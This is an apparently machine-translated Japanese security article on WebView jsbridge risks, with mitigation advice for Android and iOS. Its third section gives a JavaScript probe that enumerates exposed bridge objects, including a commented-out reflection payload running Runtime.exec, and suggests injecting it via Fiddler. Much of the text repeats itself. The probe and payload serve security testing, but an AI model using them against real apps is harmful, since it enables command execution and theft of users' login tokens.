APP webview JavascriptInterfaceセキュリティ
一、Android webview
1.1 Android4.2バージョン前addJavascriptInterfaceには、反射呼び出しによるコマンド実行の脆弱性があります.
成功するには、まずAndroidバージョンが4.2未満である必要があります(かなり少なく、minSdkValersionを17に設定すると低バージョンのマシンで動作することを避けることができます)、その後、このwebviewは悪意のあるページ(スキャンコード、url scheme、ダイナミックコンテンツ、いずれも局外リンクを生成する可能性がありますが、一般的にappは局外リンクを開くことはありません)を開くことができます.
Androidバージョンが4.2未満の場合、webviewはjsbridge(JavascriptInterface)を追加できず、システムレベルの3つのインタフェースを削除する必要があります.
removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility")
removeJavascriptInterface("accessibilityTraversal")
shouldoverrideurlloading,onalert,onpromptなどの関数を再ロードし、類似のjsbridge効果を実現できます.
4.2バージョン以降はjsによって呼び出されるには@JavascriptInterface注記を付けなければなりません
1.2 webviewオープンjsbridgeログインtoken、appダウンロードなどの機密操作を取得できる
JavascriptInterfaceは使いやすく、app h 5化(hybrid)に適している開発者もいます.したがって、大量のjsbridgeメソッドがオープンし、呼び出し元を制限しません.
appスキャンコードで局外リンクを開くことができれば、局外悪意ページはユーザログインtokenを簡単に読み取ることができる.(局外ページでは、すべてのwebviewがオープンしているjsbridgeが見つかります.後述します)
開発者はホワイトリストを使用してwebviewがどのドメインの下のページをロードできるかを制限し、webviewが現在のページurlを取得するには2つの方法がある.getOriginalUrl()とwebView.getUrl()は、使用後の方が安全です
二、IOS webview
IOS webviewは呼び出しを反射するリスクはありませんが、制限されていないjsbridgeを開放するリスクがあります.
IOSには2種類のwebviewがあり、UIWebView(古い)とWKWebview、jsbridge呼び出し方式はそれぞれ
window.OCModel['jsbridge'](shareObj)とwindow.webkit.messageHandlers.jsbridge.postMessage(data)
三、すべてのwebviewオープンjsbridgeを発見する
3.1サーバに次のコードを保存します(android、iosはすべて適用されます)
3.2 APPにこのページをロードさせる
スキャン方式がなく、他の明らかな方法でページを開くことができない場合は、fiddlerツールの自動応答機能を通じて、appがロードしたhtmlドキュメントを修正し、上記のコードをapp webviewに応答してみてください.オープンなjsbridgeはすべて見つかります
1.1 Android4.2バージョン前addJavascriptInterfaceには、反射呼び出しによるコマンド実行の脆弱性があります.
成功するには、まずAndroidバージョンが4.2未満である必要があります(かなり少なく、minSdkValersionを17に設定すると低バージョンのマシンで動作することを避けることができます)、その後、このwebviewは悪意のあるページ(スキャンコード、url scheme、ダイナミックコンテンツ、いずれも局外リンクを生成する可能性がありますが、一般的にappは局外リンクを開くことはありません)を開くことができます.
Androidバージョンが4.2未満の場合、webviewはjsbridge(JavascriptInterface)を追加できず、システムレベルの3つのインタフェースを削除する必要があります.
removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility")
removeJavascriptInterface("accessibilityTraversal")
shouldoverrideurlloading,onalert,onpromptなどの関数を再ロードし、類似のjsbridge効果を実現できます.
4.2バージョン以降はjsによって呼び出されるには@JavascriptInterface注記を付けなければなりません
1.2 webviewオープンjsbridgeログインtoken、appダウンロードなどの機密操作を取得できる
JavascriptInterfaceは使いやすく、app h 5化(hybrid)に適している開発者もいます.したがって、大量のjsbridgeメソッドがオープンし、呼び出し元を制限しません.
appスキャンコードで局外リンクを開くことができれば、局外悪意ページはユーザログインtokenを簡単に読み取ることができる.(局外ページでは、すべてのwebviewがオープンしているjsbridgeが見つかります.後述します)
開発者はホワイトリストを使用してwebviewがどのドメインの下のページをロードできるかを制限し、webviewが現在のページurlを取得するには2つの方法がある.getOriginalUrl()とwebView.getUrl()は、使用後の方が安全です
二、IOS webview
IOS webviewは呼び出しを反射するリスクはありませんが、制限されていないjsbridgeを開放するリスクがあります.
IOSには2種類のwebviewがあり、UIWebView(古い)とWKWebview、jsbridge呼び出し方式はそれぞれ
window.OCModel['jsbridge'](shareObj)とwindow.webkit.messageHandlers.jsbridge.postMessage(data)
三、すべてのwebviewオープンjsbridgeを発見する
3.1サーバに次のコードを保存します(android、iosはすべて適用されます)
webview jsbridge
// function getContents(inputStream)
// {
// var contents = "";
// var b = inputStream.read();
// while(b != -1) {
// var bString = String.fromCharCode(b);
// contents += bString;
// contents += "
"
// b = inputStream.read();
// }
// return contents;
// }
function check() {
var origin = 'caches,localStorage,sessionStorage,webkitStorageInfo,indexedDB,webkitIndexedDB,ondeviceorientationabsolute,ondeviceorientation,ondevicemotion,crypto,stop,open,alert,confirm,prompt,print,requestAnimationFrame,cancelAnimationFrame,requestIdleCallback,cancelIdleCallback,captureEvents,releaseEvents,getComputedStyle,matchMedia,moveTo,moveBy,resizeTo,resizeBy,getSelection,postMessage,find,blur,focus,getMatchedCSSRules,close,webkitRequestAnimationFrame,webkitCancelAnimationFrame,ontouchstart,webkitCancelRequestAnimationFrame,ontouchmove,ontouchend,ontouchcancel,btoa,onpointerup,atob,onpointerover,setTimeout,onpointerout,onpointermove,clearTimeout,onpointerleave,onpointerenter,onpointerdown,setInterval,onpointercancel,clearInterval,createImageBitmap,onorientationchange,scroll,orientation,scrollTo,scrollBy,customElements,onauxclick,performance,fetch,onunload,onunhandledrejection,console,onstorage,getContents,onrejectionhandled,onpopstate,check,onpageshow,onpagehide,ononline,onoffline,onmessage,onlanguagechange,onhashchange,onbeforeunload,onwaiting,onvolumechange,ontoggle,ontimeupdate,onsuspend,onsubmit,onstalled,onshow,onselect,onseeking,onseeked,onscroll,onresize,onreset,onratechange,onprogress,onplaying,onplay,onpause,onmousewheel,onmouseup,onmouseover,onmouseout,onmousemove,onmouseleave,onmouseenter,onmousedown,onloadstart,onloadedmetadata,onloadeddata,onload,onkeyup,onkeypress,onkeydown,oninvalid,oninput,onfocus,onerror,onended,onemptied,ondurationchange,ondrop,ondragstart,ondragover,ondragleave,ondragenter,ondragend,ondrag,ondblclick,oncuechange,oncontextmenu,onclose,onclick,onchange,oncanplaythrough,oncanplay,oncancel,onblur,onabort,isSecureContext,onwheel,onwebkittransitionend,onwebkitanimationstart,onwebkitanimationiteration,onwebkitanimationend,ontransitionend,onsearch,onanimationstart,onanimationiteration,onanimationend,styleMedia,defaultstatus,defaultStatus,screenTop,screenLeft,clientInformation,devicePixelRatio,outerHeight,outerWidth,screenY,screenX,pageYOffset,scrollY,pageXOffset,scrollX,innerHeight,innerWidth,screen,external,applicationCache,navigator,frameElement,parent,opener,top,length,frames,closed,status,toolbar,statusbar,scrollbars,personalbar,menubar,locationbar,history,location,name,document,self,window,TEMPORARY,PERSISTENT,addEventListener,removeEventListener,dispatchEvent';
var u = navigator.userAgent;
var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1;
if(!isAndroid){
document.write('IOS:<br>');
if(window.OCModel == undefined){
alert('no uiwebview')
}else{
for (var o in window.OCModel) {
document.write(o+':<br>');
}
}
if(window.webkit == undefined){
alert('no wkwebview')
}else{
for (var o in window.webkit.messageHandlers) {
document.write(o+':<br>');
}
}
return;
}
for (var obj in window){
if(origin.indexOf(obj)<0){
document.write(obj+':<br>');
for (var o in window[obj]) {
document.write(' '+o+'<br>');
}
}
}
// document.write('<br>dangerous:<');
// try {
// if ("getClass" in window[obj]) {
// alert(obj);
// try{
// window[obj].getClass();
// document.write('<b>'+obj+'</b><br>');
// var p = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["id"]);
// document.write(getContents(p.getInputStream())+'<br>');
// }catch(e){
// }
// }
// } catch(e) {
// }
}
check();
3.2 APPにこのページをロードさせる
スキャン方式がなく、他の明らかな方法でページを開くことができない場合は、fiddlerツールの自動応答機能を通じて、appがロードしたhtmlドキュメントを修正し、上記のコードをapp webviewに応答してみてください.オープンなjsbridgeはすべて見つかります